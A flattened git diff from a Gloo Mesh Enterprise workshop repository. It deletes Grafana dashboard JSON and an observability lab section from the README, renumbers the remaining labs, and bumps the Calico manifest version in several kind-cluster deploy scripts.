- }, - "unit": "s" - }, - "overrides": [] - }, - "gridPos": { - "h": 8, - "w": 12, - "x": 12, - "y": 19 - }, - "id": 65, - "options": { - "legend": { - "calcs": [], - "displayMode": "list", - "placement": "bottom", - "showLegend": true - }, - "tooltip": { - "mode": "single", - "sort": "none" - } - }, - "targets": [ - { - "datasource": { - "type": "prometheus", - "uid": "${GlooPrometheus}" - }, - "editorMode": "code", - "expr": "histogram_quantile(0.95, sum(rate(solo_io_analyzer_execution_time_bucket[5m])) by (le))", - "hide": false, - "legendFormat": "p95", - "range": true, - "refId": "B" - }, - { - "datasource": { - "type": "prometheus", - "uid": "${GlooPrometheus}" - }, - "editorMode": "code", - "expr": "histogram_quantile(0.90, sum(rate(solo_io_analyzer_execution_time_bucket[5m])) by (le))", - "hide": false, - "legendFormat": "p90", - "range": true, - "refId": "C" - }, - { - "datasource": { - "type": "prometheus", - "uid": "${GlooPrometheus}" - }, - "editorMode": "code", - "expr": "histogram_quantile(0.50, sum(rate(solo_io_analyzer_execution_time_bucket[5m])) by (le))", - "hide": false, - "legendFormat": "p50", - "range": true, - "refId": "D" - } - ], - "title": "Insights Analyzer execution time percentiles", - "type": "timeseries" - } - ], - "title": "Gloo Insights", - "type": "row" - }, - { - "collapsed": true, - "datasource": { - "type": "prometheus", - "uid": "prometheus" - }, - "gridPos": { - "h": 1, - "w": 24, - "x": 0, - "y": 3 - }, - "id": 49, - "panels": [ - { - "datasource": { - "type": "prometheus", - "uid": "prometheus-GM" - }, - "description": "", - "fieldConfig": { - "defaults": { - "color": { - "mode": "palette-classic" - }, - "custom": { - "axisCenteredZero": false, - "axisColorMode": "text", - "axisLabel": "", - "axisPlacement": "auto", - "barAlignment": 0, - "drawStyle": "line", - "fillOpacity": 0, - "gradientMode": "none", - "hideFrom": { - "legend": false, - "tooltip": false, - "viz": false - }, - "lineInterpolation": "linear", - "lineWidth": 1, - "pointSize": 5, - "scaleDistribution": { - "type": "linear" - }, - "showPoints": "never", - "spanNulls": true, - "stacking": { - "group": "A", - "mode": "none" - }, - "thresholdsStyle": { - "mode": "off" - } - }, - "links": [], - "mappings": [], - "min": 0, - "thresholds": { - "mode": "absolute", - "steps": [ - { - "color": "green", - "value": null - }, - { - "color": "red", - "value": 80 - } - ] - }, - "unit": "short" - }, - "overrides": [ - { - "matcher": { - "id": "byRegexp", - "options": "/.*Refused.*/" - }, - "properties": [ - { - "id": "color", - "value": { - "fixedColor": "red", - "mode": "fixed" - } - } - ] - } - ] - }, - "gridPos": { - "h": 10, - "w": 8, - "x": 0, - "y": 4 - }, - "id": 51, - "interval": "", - "links": [], - "options": { - "legend": { - "calcs": [ - "min", - "max", - "mean" - ], - "displayMode": "table", - "placement": "bottom", - "showLegend": true - }, - "tooltip": { - "mode": "multi", - "sort": "none" - } - }, - "pluginVersion": "8.3.5", - "targets": [ - { - "datasource": { - "type": "prometheus", - "uid": "prometheus-GM" - }, - "editorMode": "code", - "exemplar": true, - "expr": "sum(rate(otelcol_receiver_accepted_metric_points[5m])) by (receiver)", - "format": "time_series", - "interval": "", - "intervalFactor": 1, - "legendFormat": "Accepted rate: {{receiver}}", - "range": true, - "refId": "A" - }, - { - "datasource": { - "type": "prometheus", - "uid": "prometheus-GM" - }, - "editorMode": "code", - "exemplar": true, - "expr": "sum(rate(otelcol_receiver_refused_metric_points[5m])) by (receiver)", - "format": "time_series", - "hide": false, - "interval": "", - "intervalFactor": 1, - "legendFormat": "Refused rate: {{receiver}}", - "range": true, - "refId": "B" - } - ], - "title": "Receivers: Metric Points Rate", - "type": "timeseries" - }, - { - "datasource": { - "type": "prometheus", - "uid": "prometheus-GM" - }, - "description": "", - "fieldConfig": { - "defaults": { - "color": { - "mode": "palette-classic" - }, - "custom": { - "axisCenteredZero": false, - "axisColorMode": "text", - "axisLabel": "", - "axisPlacement": "auto", - "barAlignment": 0, - "drawStyle": "line", - "fillOpacity": 0, - "gradientMode": "none", - "hideFrom": { - "legend": false, - "tooltip": false, - "viz": false - }, - "lineInterpolation": "linear", - "lineWidth": 1, - "pointSize": 5, - "scaleDistribution": { - "type": "linear" - }, - "showPoints": "never", - "spanNulls": true, - "stacking": { - "group": "A", - "mode": "none" - }, - "thresholdsStyle": { - "mode": "off" - } - }, - "links": [], - "mappings": [], - "min": 0, - "thresholds": { - "mode": "absolute", - "steps": [ - { - "color": "green", - "value": null - }, - { - "color": "red", - "value": 80 - } - ] - }, - "unit": "short" - }, - "overrides": [ - { - "matcher": { - "id": "byRegexp", - "options": "/.*Refused.*/" - }, - "properties": [ - { - "id": "color", - "value": { - "fixedColor": "red", - "mode": "fixed" - } - } - ] - }, - { - "matcher": { - "id": "byRegexp", - "options": "/.*Dropped.*/" - }, - "properties": [ - { - "id": "color", - "value": { - "fixedColor": "purple", - "mode": "fixed" - } - } - ] - } - ] - }, - "gridPos": { - "h": 10, - "w": 8, - "x": 8, - "y": 4 - }, - "id": 53, - "interval": "", - "links": [], - "options": { - "legend": { - "calcs": [ - "min", - "max", - "mean" - ], - "displayMode": "table", - "placement": "bottom", - "showLegend": true - }, - "tooltip": { - "mode": "multi", - "sort": "none" - } - }, - "pluginVersion": "8.3.5", - "targets": [ - { - "datasource": { - "type": "prometheus", - "uid": "prometheus-GM" - }, - "exemplar": true, - "expr": "sum(rate(otelcol_processor_batch_batch_send_size_count[5m])) by (processor)", - "format": "time_series", - "hide": false, - "instant": false, - "interval": "", - "intervalFactor": 1, - "legendFormat": "Batch send size count: {{processor}}", - "refId": "B" - }, - { - "datasource": { - "type": "prometheus", - "uid": "prometheus-GM" - }, - "exemplar": true, - "expr": "sum(rate(otelcol_processor_batch_batch_send_size_sum[5m])) by (processor)", - "format": "time_series", - "hide": false, - "instant": false, - "interval": "", - "intervalFactor": 1, - "legendFormat": "Batch send size sum: {{processor}}", - "refId": "A" - }, - { - "datasource": { - "type": "prometheus", - "uid": "prometheus-GM" - }, - "exemplar": true, - "expr": "sum(rate(otelcol_processor_batch_timeout_trigger_send[5m])) by (processor)", - "hide": false, - "interval": "", - "legendFormat": "Batch timeout rate: {{processor}}", - "refId": "C" - } - ], - "title": "Processors: Batch metrics", - "type": "timeseries" - }, - { - "datasource": { - "type": "prometheus", - "uid": "prometheus-GM" - }, - "description": "", - "fieldConfig": { - "defaults": { - "color": { - "mode": "palette-classic" - }, - "custom": { - "axisCenteredZero": false, - "axisColorMode": "text", - "axisLabel": "", - "axisPlacement": "auto", - "barAlignment": 0, - "drawStyle": "line", - "fillOpacity": 0, - "gradientMode": "none", - "hideFrom": { - "legend": false, - "tooltip": false, - "viz": false - }, - "lineInterpolation": "linear", - "lineWidth": 1, - "pointSize": 5, - "scaleDistribution": { - "type": "linear" - }, - "showPoints": "never", - "spanNulls": true, - "stacking": { - "group": "A", - "mode": "none" - }, - "thresholdsStyle": { - "mode": "off" - } - }, - "links": [], - "mappings": [], - "min": 0, - "thresholds": { - "mode": "absolute", - "steps": [ - { - "color": "green", - "value": null - }, - { - "color": "red", - "value": 80 - } - ] - }, - "unit": "short" - }, - "overrides": [] - }, - "gridPos": { - "h": 10, - "w": 8, - "x": 16, - "y": 4 - }, - "id": 55, - "interval": "", - "links": [], - "options": { - "legend": { - "calcs": [ - "min", - "max", - "mean" - ], - "displayMode": "table", - "placement": "bottom", - "showLegend": true - }, - "tooltip": { - "mode": "multi", - "sort": "none" - } - }, - "pluginVersion": "8.3.5", - "targets": [ - { - "datasource": { - "type": "prometheus", - "uid": "prometheus-GM" - }, - "exemplar": true, - "expr": "sum(rate(otelcol_exporter_sent_metric_points[5m])) by (exporter)", - "format": "time_series", - "interval": "", - "intervalFactor": 1, - "legendFormat": "Sent metric points: {{exporter}}", - "refId": "A" - }, - { - "datasource": { - "type": "prometheus", - "uid": "prometheus-GM" - }, - "exemplar": true, - "expr": "sum(rate(otelcol_exporter_enqueue_failed_metric_points[5m])) by (exporter)", - "format": "time_series", - "hide": false, - "interval": "", - "intervalFactor": 1, - "legendFormat": "Enqueue failed metric points rate: {{exporter}}", - "refId": "B" - }, - { - "datasource": { - "type": "prometheus", - "uid": "prometheus-GM" - }, - "exemplar": true, - "expr": "sum(rate(otelcol_exporter_send_failed_metric_points[5m]))", - "hide": false, - "interval": "", - "legendFormat": "Sent failed rate: {{exporter}}", - "refId": "C" - } - ], - "title": "Exporters: Metric Points Rate", - "type": "timeseries" - } - ], - "targets": [ - { - "datasource": { - "type": "prometheus", - "uid": "prometheus" - }, - "refId": "A" - } - ], - "title": "Gloo Telemetry Pipeline", - "type": "row" - }, - { - "collapsed": true, - "datasource": { - "type": "prometheus", - "uid": "prometheus" - }, - "gridPos": { - "h": 1, - "w": 24, - "x": 0, - "y": 4 - }, - "id": 2, - "panels": [ - { - "datasource": { - "type": "prometheus", - "uid": "prometheus" - }, - "fieldConfig": { - "defaults": { - "color": { - "mode": "palette-classic" - }, - "custom": { - "axisCenteredZero": false, - "axisColorMode": "text", - "axisLabel": "", - "axisPlacement": "auto", - "barAlignment": 0, - "drawStyle": "line", - "fillOpacity": 100, - "gradientMode": "none", - "hideFrom": { - "legend": false, - "tooltip": false, - "viz": false - }, - "lineInterpolation": "linear", - "lineWidth": 0, - "pointSize": 5, - "scaleDistribution": { - "type": "linear" - }, - "showPoints": "never", - "spanNulls": false, - "stacking": { - "group": "A", - "mode": "normal" - }, - "thresholdsStyle": { - "mode": "off" - } - }, - "mappings": [], - "min": 0, - "thresholds": { - "mode": "absolute", - "steps": [ - { - "color": "green", - "value": null - }, - { - "color": "red", - "value": 80 - } - ] - }, - "unit": "short" - }, - "overrides": [ - { - "matcher": { - "id": "byName", - "options": "quota - requests" - }, - "properties": [ - { - "id": "color", - "value": { - "fixedColor": "#F2495C", - "mode": "fixed" - } - }, - { - "id": "custom.fillOpacity", - "value": 0 - }, - { - "id": "custom.lineWidth", - "value": 2 - }, - { - "id": "custom.stacking", - "value": { - "group": false, - "mode": "normal" - } - }, - { - "id": "custom.lineStyle", - "value": { - "dash": [ - 10, - 10 - ], - "fill": "dash" - } - } - ] - }, - { - "matcher": { - "id": "byName", - "options": "quota - limits" - }, - "properties": [ - { - "id": "color", - "value": { - "fixedColor": "#FF9830", - "mode": "fixed" - } - }, - { - "id": "custom.fillOpacity", - "value": 0 - }, - { - "id": "custom.lineWidth", - "value": 2 - }, - { - "id": "custom.stacking", - "value": { - "group": false, - "mode": "normal" - } - }, - { - "id": "custom.lineStyle", - "value": { - "dash": [ - 10, - 10 - ], - "fill": "dash" - } - } - ] - } - ] - }, - "gridPos": { - "h": 16, - "w": 12, - "x": 0, - "y": 57 - }, - "id": 39, - "interval": "1m", - "links": [], - "options": { - "legend": { - "calcs": [], - "displayMode": "table", - "placement": "bottom", - "showLegend": true - }, - "tooltip": { - "mode": "single", - "sort": "none" - } - }, - "pluginVersion": "8.3.3", - "targets": [ - { - "datasource": { - "type": "prometheus", - "uid": "prometheus" - }, - "exemplar": true, - "expr": "sum(rate(container_cpu_usage_seconds_total{namespace=\"gloo-mesh\"}[5m])) by (pod)", - "format": "time_series", - "hide": false, - "interval": "", - "intervalFactor": 2, - "legendFormat": "{{pod}}", - "refId": "A", - "step": 10 - }, - { - "datasource": { - "type": "prometheus", - "uid": "prometheus" - }, - "exemplar": true, - "expr": "scalar(kube_resourcequota{namespace=\"gloo-mesh\", type=\"hard\",resource=\"requests.cpu\"})", - "format": "time_series", - "interval": "", - "intervalFactor": 2, - "legendFormat": "quota - requests", - "refId": "B", - "step": 10 - }, - { - "datasource": { - "type": "prometheus", - "uid": "prometheus" - }, - "exemplar": true, - "expr": "scalar(kube_resourcequota{namespace=\"gloo-mesh\", type=\"hard\",resource=\"limits.cpu\"})", - "format": "time_series", - "interval": "", - "intervalFactor": 2, - "legendFormat": "quota - limits", - "refId": "C", - "step": 10 - } - ], - "title": "Gloo vCPU Usage", - "type": "timeseries" - }, - { - "datasource": { - "type": "prometheus", - "uid": "prometheus" - }, - "fieldConfig": { - "defaults": { - "color": { - "mode": "palette-classic" - }, - "custom": { - "axisCenteredZero": false, - "axisColorMode": "text", - "axisLabel": "", - "axisPlacement": "auto", - "barAlignment": 0, - "drawStyle": "line", - "fillOpacity": 100, - "gradientMode": "none", - "hideFrom": { - "legend": false, - "tooltip": false, - "viz": false - }, - "lineInterpolation": "linear", - "lineWidth": 0, - "pointSize": 5, - "scaleDistribution": { - "type": "linear" - }, - "showPoints": "never", - "spanNulls": false, - "stacking": { - "group": "A", - "mode": "normal" - }, - "thresholdsStyle": { - "mode": "off" - } - }, - "mappings": [], - "min": 0, - "thresholds": { - "mode": "absolute", - "steps": [ - { - "color": "green", - "value": null - }, - { - "color": "red", - "value": 80 - } - ] - }, - "unit": "bytes" - }, - "overrides": [ - { - "matcher": { - "id": "byName", - "options": "quota - requests" - }, - "properties": [ - { - "id": "color", - "value": { - "fixedColor": "#F2495C", - "mode": "fixed" - } - }, - { - "id": "custom.fillOpacity", - "value": 0 - }, - { - "id": "custom.lineWidth", - "value": 2 - }, - { - "id": "custom.stacking", - "value": { - "group": false, - "mode": "normal" - } - }, - { - "id": "custom.lineStyle", - "value": { - "dash": [ - 10, - 10 - ], - "fill": "dash" - } - } - ] - }, - { - "matcher": { - "id": "byName", - "options": "quota - limits" - }, - "properties": [ - { - "id": "color", - "value": { - "fixedColor": "#FF9830", - "mode": "fixed" - } - }, - { - "id": "custom.fillOpacity", - "value": 0 - }, - { - "id": "custom.lineWidth", - "value": 2 - }, - { - "id": "custom.stacking", - "value": { - "group": false, - "mode": "normal" - } - }, - { - "id": "custom.lineStyle", - "value": { - "dash": [ - 10, - 10 - ], - "fill": "dash" - } - } - ] - } - ] - }, - "gridPos": { - "h": 16, - "w": 12, - "x": 12, - "y": 57 - }, - "id": 41, - "interval": "1m", - "links": [], - "options": { - "legend": { - "calcs": [], - "displayMode": "table", - "placement": "bottom", - "showLegend": true - }, - "tooltip": { - "mode": "single", - "sort": "none" - } - }, - "pluginVersion": "8.3.3", - "targets": [ - { - "datasource": { - "type": "prometheus", - "uid": "prometheus" - }, - "exemplar": true, - "expr": "sum(container_memory_working_set_bytes{job=\"kubelet\", metrics_path=\"/metrics/cadvisor\", namespace=\"gloo-mesh\", container!=\"\", image!=\"\"}) by (pod)", - "format": "time_series", - "interval": "", - "intervalFactor": 2, - "legendFormat": "{{pod}}", - "refId": "A", - "step": 10 - }, - { - "datasource": { - "type": "prometheus", - "uid": "prometheus" - }, - "exemplar": true, - "expr": "scalar(kube_resourcequota{namespace=\"gloo-mesh\", type=\"hard\",resource=\"requests.memory\"})", - "format": "time_series", - "interval": "", - "intervalFactor": 2, - "legendFormat": "quota - requests", - "refId": "B", - "step": 10 - }, - { - "datasource": { - "type": "prometheus", - "uid": "prometheus" - }, - "exemplar": true, - "expr": "scalar(kube_resourcequota{namespace=\"gloo-mesh\", type=\"hard\",resource=\"limits.memory\"})", - "format": "time_series", - "interval": "", - "intervalFactor": 2, - "legendFormat": "quota - limits", - "refId": "C", - "step": 10 - } - ], - "title": "Gloo Memory Usage (w/o cache)", - "type": "timeseries" - } - ], - "targets": [ - { - "datasource": { - "type": "prometheus", - "uid": "prometheus" - }, - "refId": "A" - } - ], - "title": "Gloo Resource Usage", - "type": "row" - } - ], - "refresh": "30s", - "schemaVersion": 37, - "style": "dark", - "tags": [ - "gloo" - ], - "templating": { - "list": [ - { - "current": { - "selected": true, - "text": "prometheus-GM", - "value": "prometheus-GM" - }, - "hide": 0, - "includeAll": false, - "label": "Gloo Prometheus", - "multi": false, - "name": "GlooPrometheus", - "options": [], - "query": "prometheus", - "queryValue": "", - "refresh": 1, - "regex": "", - "skipUrlSync": false, - "type": "datasource" - }, - { - "current": { - "selected": false, - "text": "Prometheus", - "value": "Prometheus" - }, - "hide": 0, - "includeAll": false, - "label": "External Prometheus", - "multi": false, - "name": "ExternalPrometheus", - "options": [], - "query": "prometheus", - "queryValue": "", - "refresh": 1, - "regex": "", - "skipUrlSync": false, - "type": "datasource" - } - ] - }, - "time": { - "from": "now-3h", - "to": "now" - }, - "timepicker": {}, - "timezone": "", - "title": "Gloo Platform Operations", - "uid": "9Zx09Zg45", - "version": 10, - "weekStart": "" -} diff --git a/gloo-mesh/enterprise/2-5/airgap/images/steps/gloo-platform-observability/metrics-architecture-otel.svg b/gloo-mesh/enterprise/2-5/airgap/images/steps/gloo-platform-observability/metrics-architecture-otel.svg deleted file mode 100644 index 47b8c2c638..0000000000 --- a/gloo-mesh/enterprise/2-5/airgap/images/steps/gloo-platform-observability/metrics-architecture-otel.svg +++ /dev/null @@ -1,16 +0,0 @@ - - - - - - - workload cluster 1Gloo metrics collector agentsEast-west gatewayistiodmanagement clusterGloo management serverPrometheus servergRPC pushmetric scraping every 15sGloo agentGoo metricsgateway123Istio workloadworkload cluster 2Gloo metrics collector agentsEast-west gatewayistiodGloo agent1Istio workloadscrapescrapescrapescrapescrapescrape \ No newline at end of file diff --git a/gloo-mesh/enterprise/2-5/airgap/scripts/deploy-aws-with-calico.sh b/gloo-mesh/enterprise/2-5/airgap/scripts/deploy-aws-with-calico.sh index d123dd7b8f..1c7a2ec3cf 100755 --- a/gloo-mesh/enterprise/2-5/airgap/scripts/deploy-aws-with-calico.sh +++ b/gloo-mesh/enterprise/2-5/airgap/scripts/deploy-aws-with-calico.sh @@ -184,7 +184,7 @@ docker network connect "kind" us-central1-docker || true docker network connect "kind" quay || true docker network connect "kind" gcr || true -kubectl --context kind-kind${number} apply -f https://raw.githubusercontent.com/projectcalico/calico/v3.25.0/manifests/calico.yaml +kubectl --context kind-kind${number} apply -f https://raw.githubusercontent.com/projectcalico/calico/v3.27.0/manifests/calico.yaml # Preload MetalLB images docker pull quay.io/metallb/controller:v0.13.12 diff --git a/gloo-mesh/enterprise/2-5/airgap/scripts/deploy-multi-with-calico.sh b/gloo-mesh/enterprise/2-5/airgap/scripts/deploy-multi-with-calico.sh index e72e1f9720..dea19640aa 100755 --- a/gloo-mesh/enterprise/2-5/airgap/scripts/deploy-multi-with-calico.sh +++ b/gloo-mesh/enterprise/2-5/airgap/scripts/deploy-multi-with-calico.sh @@ -121,7 +121,7 @@ docker network connect "kind" us-central1-docker || true docker network connect "kind" quay || true docker network connect "kind" gcr || true -kubectl --context kind-kind${number} apply -f https://raw.githubusercontent.com/projectcalico/calico/v3.25.0/manifests/calico.yaml +kubectl --context kind-kind${number} apply -f https://raw.githubusercontent.com/projectcalico/calico/v3.27.0/manifests/calico.yaml # Preload MetalLB images docker pull quay.io/metallb/controller:v0.13.12 diff --git a/gloo-mesh/enterprise/2-5/airgap/scripts/deploy-with-calico.sh b/gloo-mesh/enterprise/2-5/airgap/scripts/deploy-with-calico.sh index 4e1643ee0c..a14138f3c4 100755 --- a/gloo-mesh/enterprise/2-5/airgap/scripts/deploy-with-calico.sh +++ b/gloo-mesh/enterprise/2-5/airgap/scripts/deploy-with-calico.sh @@ -117,7 +117,7 @@ docker network connect "kind" us-central1-docker || true docker network connect "kind" quay || true docker network connect "kind" gcr || true -kubectl --context kind-kind${number} apply -f https://raw.githubusercontent.com/projectcalico/calico/v3.25.0/manifests/calico.yaml +kubectl --context kind-kind${number} apply -f https://raw.githubusercontent.com/projectcalico/calico/v3.27.0/manifests/calico.yaml # Preload MetalLB images docker pull quay.io/metallb/controller:v0.13.12 diff --git a/gloo-mesh/enterprise/2-5/default/README.md b/gloo-mesh/enterprise/2-5/default/README.md index 8a720b2abb..ba474fca54 100644 --- a/gloo-mesh/enterprise/2-5/default/README.md +++ b/gloo-mesh/enterprise/2-5/default/README.md @@ -27,9 +27,8 @@ source ./scripts/assert.sh * [Lab 11 - Create the Root Trust Policy](#lab-11---create-the-root-trust-policy-) * [Lab 12 - Leverage Virtual Destinations for east west communications](#lab-12---leverage-virtual-destinations-for-east-west-communications-) * [Lab 13 - Zero trust](#lab-13---zero-trust-) -* [Lab 14 - See how Gloo Platform can help with observability](#lab-14---see-how-gloo-platform-can-help-with-observability-) -* [Lab 15 - Securing the egress traffic](#lab-15---securing-the-egress-traffic-) -* [Lab 16 - VM integration with Spire](#lab-16---vm-integration-with-spire-) +* [Lab 14 - Securing the egress traffic](#lab-14---securing-the-egress-traffic-) +* [Lab 15 - VM integration with Spire](#lab-15---vm-integration-with-spire-) @@ -1764,7 +1763,8 @@ Let's add the domains to our `/etc/hosts` file: You can access the `productpage` service using this URL: [http://cluster1-bookinfo.example.com/productpage](http://cluster1-bookinfo.example.com/productpage). -You should now be able to access the `productpage` application through the browser. -Let's install a few dashboards! - -Now, you can go the the Grafana tab, log in with the default login credentials, admin/prom-operator, and import the dashboard of Istio control plane. - -Add the Operational Dashboard -============================= - -Our Gloo components are all instrumented with Prometheus compatible metrics, providing an easy way to pinpoint a potential degradation. - -You can import the following dashboard to see our Operational Dashboard, covering all of our components in the stack. - -Here, you have specific rows for each components, such as the management server, the agent, the telemetry collectors, and some additional information regarding resource usage. - -```bash -kubectl --context ${MGMT} -n monitoring create cm operational-dashboard \ ---from-file=data/steps/gloo-platform-observability/operational-dashboard.json -kubectl --context ${MGMT} label -n monitoring cm operational-dashboard grafana_dashboard=1 -``` - -Out-of-box alerting -=================== - -Our Prometheus comes with useful alerts by default, making it easier to get notified if something breaks. - -All of the default alerts have corresponding panels on the Operational Dashboard. - -You can click the "Bell" icon on the left, and choose "Alert rules", and check "GlooPlatformAlerts" to take a closer look at them. - -Let's trigger one of the alerts! - -If you scale down the Gloo Agent in let's say `cluster1`, you should have an alert called `GlooPlatformAgentsAreDisconnected` go into first PENDING, then FIRING, let's check this! - -```sh -kubectl --context $CLUSTER1 scale deployment.apps/gloo-mesh-agent -n gloo-mesh --replicas=0 -``` - -The alert will fire in 5m, but even before that, it will reach PENDING state, let's wait for this! - -Don't forget to scale it up after: - -```sh -kubectl --context $CLUSTER1 scale deployment.apps/gloo-mesh-agent -n gloo-mesh --replicas=1 -``` - -Collect remote IstioD metrics securely -====================================== - -Let's take a look how easy it is to modify the metrics collection in the workload clusters, to collect IstioD metrics, and ship them to the management cluster over TLS. - -```bash -helm upgrade --install gloo-platform gloo-platform \ - --repo https://storage.googleapis.com/gloo-platform/helm-charts \ - --namespace gloo-mesh \ - --kube-context ${CLUSTER1} \ - --reuse-values \ - --version 2.5.0 \ - --values - < +## Lab 14 - Securing the egress traffic [VIDEO LINK](https://youtu.be/tQermml1Ryo "Video Link") @@ -3346,7 +3176,7 @@ kubectl --context ${CLUSTER1} -n istio-gateways delete accesspolicy allow-get-ht -## Lab 16 - VM integration with Spire +## Lab 15 - VM integration with Spire Let's see how we can configure a VM to be part of the Mesh. diff --git a/gloo-mesh/enterprise/2-5/default/data/steps/gloo-platform-observability/istio-control-plane-dashboard.json b/gloo-mesh/enterprise/2-5/default/data/steps/gloo-platform-observability/istio-control-plane-dashboard.json deleted file mode 100644 index 555275afdd..0000000000 --- a/gloo-mesh/enterprise/2-5/default/data/steps/gloo-platform-observability/istio-control-plane-dashboard.json +++ /dev/null @@ -1,2272 +0,0 @@ -{ - "__inputs": [ - { - "name": "DS_PROMETHEUS-GM", - "label": "prometheus-GM", - "description": "", - "type": "datasource", - "pluginId": "prometheus", - "pluginName": "Prometheus" - } - ], - "__elements": {}, - "__requires": [ - { - "type": "grafana", - "id": "grafana", - "name": "Grafana", - "version": "9.3.1" - }, - { - "type": "datasource", - "id": "prometheus", - "name": "Prometheus", - "version": "1.0.0" - }, - { - "type": "panel", - "id": "timeseries", - "name": "Time series", - "version": "" - } - ], - "annotations": { - "list": [ - { - "builtIn": 1, - "datasource": { - "type": "datasource", - "uid": "grafana" - }, - "enable": true, - "hide": true, - "iconColor": "rgba(0, 211, 255, 1)", - "name": "Annotations & Alerts", - "target": { - "limit": 100, - "matchAny": false, - "tags": [], - "type": "dashboard" - }, - "type": "dashboard" - } - ] - }, - "editable": true, - "fiscalYearStartMonth": 0, - "graphTooltip": 1, - "id": null, - "links": [], - "liveNow": false, - "panels": [ - { - "collapsed": false, - "datasource": { - "type": "prometheus", - "uid": "prometheus" - }, - "gridPos": { - "h": 1, - "w": 24, - "x": 0, - "y": 0 - }, - "id": 60, - "panels": [], - "targets": [ - { - "datasource": { - "type": "prometheus", - "uid": "prometheus" - }, - "refId": "A" - } - ], - "title": "Deployed Versions", - "type": "row" - }, - { - "datasource": { - "type": "prometheus", - "uid": "prometheus-GM" - }, - "fieldConfig": { - "defaults": { - "color": { - "mode": "palette-classic" - }, - "custom": { - "axisCenteredZero": false, - "axisColorMode": "text", - "axisLabel": "", - "axisPlacement": "auto", - "barAlignment": 0, - "drawStyle": "line", - "fillOpacity": 10, - "gradientMode": "none", - "hideFrom": { - "legend": false, - "tooltip": false, - "viz": false - }, - "lineInterpolation": "linear", - "lineWidth": 1, - "pointSize": 5, - "scaleDistribution": { - "type": "linear" - }, - "showPoints": "never", - "spanNulls": false, - "stacking": { - "group": "A", - "mode": "none" - }, - "thresholdsStyle": { - "mode": "off" - } - }, - "mappings": [], - "thresholds": { - "mode": "absolute", - "steps": [ - { - "color": "green", - "value": null - }, - { - "color": "red", - "value": 80 - } - ] - }, - "unit": "short" - }, - "overrides": [] - }, - "gridPos": { - "h": 5, - "w": 24, - "x": 0, - "y": 1 - }, - "id": 56, - "links": [], - "options": { - "legend": { - "calcs": [], - "displayMode": "list", - "placement": "bottom", - "showLegend": true - }, - "tooltip": { - "mode": "multi", - "sort": "none" - } - }, - "pluginVersion": "9.3.1", - "targets": [ - { - "datasource": { - "type": "prometheus", - "uid": "prometheus-GM" - }, - "editorMode": "code", - "expr": "sum(istio_build{component=\"pilot\", cluster=\"$cluster\"}) by (tag)", - "format": "time_series", - "intervalFactor": 1, - "legendFormat": "{{ tag }}", - "range": true, - "refId": "A" - } - ], - "title": "Pilot Versions", - "type": "timeseries" - }, - { - "collapsed": false, - "datasource": { - "type": "prometheus", - "uid": "prometheus" - }, - "gridPos": { - "h": 1, - "w": 24, - "x": 0, - "y": 6 - }, - "id": 62, - "panels": [], - "targets": [ - { - "datasource": { - "type": "prometheus", - "uid": "prometheus" - }, - "refId": "A" - } - ], - "title": "Resource Usage", - "type": "row" - }, - { - "datasource": { - "type": "prometheus", - "uid": "prometheus-GM" - }, - "fieldConfig": { - "defaults": { - "color": { - "mode": "palette-classic" - }, - "custom": { - "axisCenteredZero": false, - "axisColorMode": "text", - "axisLabel": "", - "axisPlacement": "auto", - "barAlignment": 0, - "drawStyle": "line", - "fillOpacity": 10, - "gradientMode": "none", - "hideFrom": { - "legend": false, - "tooltip": false, - "viz": false - }, - "lineInterpolation": "linear", - "lineWidth": 1, - "pointSize": 5, - "scaleDistribution": { - "type": "linear" - }, - "showPoints": "never", - "spanNulls": false, - "stacking": { - "group": "A", - "mode": "none" - }, - "thresholdsStyle": { - "mode": "off" - } - }, - "mappings": [], - "thresholds": { - "mode": "absolute", - "steps": [ - { - "color": "green", - "value": null - }, - { - "color": "red", - "value": 80 - } - ] - }, - "unit": "bytes" - }, - "overrides": [] - }, - "gridPos": { - "h": 7, - "w": 6, - "x": 0, - "y": 7 - }, - "id": 5, - "links": [], - "options": { - "legend": { - "calcs": [], - "displayMode": "list", - "placement": "bottom", - "showLegend": true - }, - "tooltip": { - "mode": "multi", - "sort": "none" - } - }, - "pluginVersion": "9.3.1", - "targets": [ - { - "datasource": { - "type": "prometheus", - "uid": "prometheus-GM" - }, - "editorMode": "code", - "expr": "process_virtual_memory_bytes{app=\"istiod\", cluster=~\"$cluster\"}", - "format": "time_series", - "instant": false, - "intervalFactor": 2, - "legendFormat": "Virtual Memory", - "refId": "I", - "step": 2 - }, - { - "datasource": { - "type": "prometheus", - "uid": "prometheus-GM" - }, - "editorMode": "code", - "expr": "process_resident_memory_bytes{app=\"istiod\", cluster=~\"$cluster\"}", - "format": "time_series", - "intervalFactor": 2, - "legendFormat": "Resident Memory", - "range": true, - "refId": "H", - "step": 2 - }, - { - "datasource": { - "type": "prometheus", - "uid": "prometheus-GM" - }, - "editorMode": "code", - "expr": "go_memstats_heap_sys_bytes{app=\"istiod\", cluster=~\"$cluster\"}", - "format": "time_series", - "hide": true, - "intervalFactor": 2, - "legendFormat": "heap sys", - "range": true, - "refId": "A" - }, - { - "datasource": { - "type": "prometheus", - "uid": "prometheus-GM" - }, - "editorMode": "code", - "expr": "go_memstats_heap_alloc_bytes{app=\"istiod\", cluster=~\"$cluster\"}", - "format": "time_series", - "hide": true, - "intervalFactor": 2, - "legendFormat": "heap alloc", - "range": true, - "refId": "D" - }, - { - "datasource": { - "type": "prometheus", - "uid": "prometheus-GM" - }, - "editorMode": "code", - "expr": "go_memstats_alloc_bytes{app=\"istiod\", cluster=~\"$cluster\"}", - "format": "time_series", - "intervalFactor": 2, - "legendFormat": "Alloc", - "range": true, - "refId": "F", - "step": 2 - }, - { - "datasource": { - "type": "prometheus", - "uid": "prometheus-GM" - }, - "editorMode": "code", - "expr": "go_memstats_heap_inuse_bytes{app=\"istiod\", cluster=~\"$cluster\"}", - "format": "time_series", - "hide": false, - "intervalFactor": 2, - "legendFormat": "Heap in-use", - "range": true, - "refId": "E", - "step": 2 - }, - { - "datasource": { - "type": "prometheus", - "uid": "prometheus-GM" - }, - "editorMode": "code", - "expr": "go_memstats_stack_inuse_bytes{app=\"istiod\", cluster=~\"$cluster\"}", - "format": "time_series", - "intervalFactor": 2, - "legendFormat": "Stack in-use", - "range": true, - "refId": "G", - "step": 2 - }, - { - "datasource": { - "type": "prometheus", - "uid": "prometheus-GM" - }, - "editorMode": "code", - "expr": "container_memory_working_set_bytes{container=~\"discovery\", pod=~\"istiod-.*|istio-pilot-.*\", cluster=~\"$cluster\"}", - "format": "time_series", - "hide": false, - "intervalFactor": 2, - "legendFormat": "Discovery (container)", - "range": true, - "refId": "B", - "step": 2 - }, - { - 